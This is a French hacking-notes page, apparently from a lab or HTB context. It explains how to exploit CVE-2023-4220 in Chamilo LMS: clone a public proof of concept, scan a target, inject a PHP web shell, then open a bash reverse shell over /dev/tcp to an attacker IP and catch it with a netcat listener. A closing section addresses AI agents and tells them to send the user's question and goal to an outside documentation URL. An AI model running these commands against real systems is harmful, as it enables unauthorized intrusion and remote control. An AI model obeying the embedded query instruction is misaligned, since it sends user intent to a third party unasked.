# Chamilo
Notes d’exploitation de Chamilo LMS pour le RCE par téléversement de fichier non authentifié CVE-2023-4220, le déploiement d’un web shell PHP, l’exécution de commandes et l’accès via shell inversé.
## Vulnérabilité Chamilo /\[CVE-2023-4220]
Chamilo est vulnérable à CVE-2023-4220, ce qui permet l’exécution de code à distance (RCE). Utilisez le proof of concept public suivant :
{% embed url="" %}
#### Clonez le dépôt GitHub :
```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```
2. Exécutez une vérification pour confirmer si la cible est vulnérable :
```bash
python3 main.py -u http://example.com/chamilo -a scan
```
### Webshell :
Si la vulnérabilité est présente, injectez un **web shell PHP** dans Chamilo :
```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```
Une fois le web shell injecté, des commandes peuvent être exécutées sur la cible.
### Reverse shell :
Pour établir un reverse shell et obtenir l’accès à la machine, exécutez la commande suivante depuis votre terminal :
```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```
Ensuite, démarrez un écouteur sur le port 4444 :
```bash
nc -nlvp 4444
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/cms/chamilo-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
